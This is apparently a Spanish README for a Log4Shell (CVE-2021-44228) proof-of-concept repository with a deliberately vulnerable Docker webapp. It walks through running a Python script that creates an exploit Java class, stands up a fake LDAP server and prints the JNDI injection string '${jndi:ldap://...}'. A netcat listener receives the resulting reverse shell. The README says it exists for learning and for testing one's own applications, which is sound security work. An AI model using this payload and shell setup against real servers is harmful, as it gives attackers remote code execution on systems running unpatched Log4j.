
Una prueba de concepto para la vulnerabilidad CVE-2021-44228.
Una prueba de concepto para la vulnerabilidad CVE-2021-44228 encontrada recientemente.
Recientemente apareció una nueva vulnerabilidad en log4j, una librería de registro de Java muy utilizada en proyectos como elasticsearch, minecraft y muchos otros.
En este repositorio hay una aplicación vulnerable de ejemplo y un exploit de prueba de concepto (POC) de la misma.
Como PoC, hay un archivo de Python que automatiza el proceso.
pip install -r requirements.txt
nc -lvnp 9001
jdk1.8.0_20, y estar en el mismo directorio.$ python3 poc.py --userip localhost --webport 8000 --lport 9001
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
[+] Exploit java class created success
[+] Setting up fake LDAP server
[+] Send me: ${jndi:ldap://localhost:1389/a}
Listening on 0.0.0.0:1389
Este script configurará el servidor HTTP y el servidor LDAP por ti, y también creará el payload que puedes usar para pegarlo en el parámetro vulnerable. Después de esto, si todo fue bien, deberías obtener una shell en el lport.
Hay un Dockerfile con la webapp vulnerable. Puedes usarlo siguiendo los pasos de abajo:
1: docker build -t log4j-shell-poc .
2: docker run --network host log4j-shell-poc
Una vez que esté en ejecución, puedes acceder a ella en localhost:8080
Oracle afortunadamente proporciona un archivo de todas las versiones anteriores de Java:
https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html.
Desplázate hacia abajo hasta 8u20 y descarga los archivos apropiados para tu sistema operativo y hardware.

Nota: Necesitas crear una cuenta para poder descargar el paquete.
Una vez que hayas descargado y extraído el archivo, puedes encontrar java y algunos binarios relacionados en jdk1.8.0_20/bin.
Nota: Asegúrate de extraer la carpeta jdk en este repositorio con el mismo nombre para que funcione.
❯ tar -xf jdk-8u20-linux-x64.tar.gz
❯ ./jdk1.8.0_20/bin/java -version
java version "1.8.0_20"
Java(TM) SE Runtime Environment (build 1.8.0_20-b26)
Java HotSpot(TM) 64-Bit Server VM (build 25.20-b23, mixed mode)
Este repositorio no pretende ser un exploit de un solo clic para CVE-2021-44228. El propósito de este proyecto es ayudar a las personas a aprender sobre esta vulnerabilidad y, quizás, probar sus propias aplicaciones (aunque hay mejores aplicaciones para este propósito, p. ej.: https://log4shell.tools/).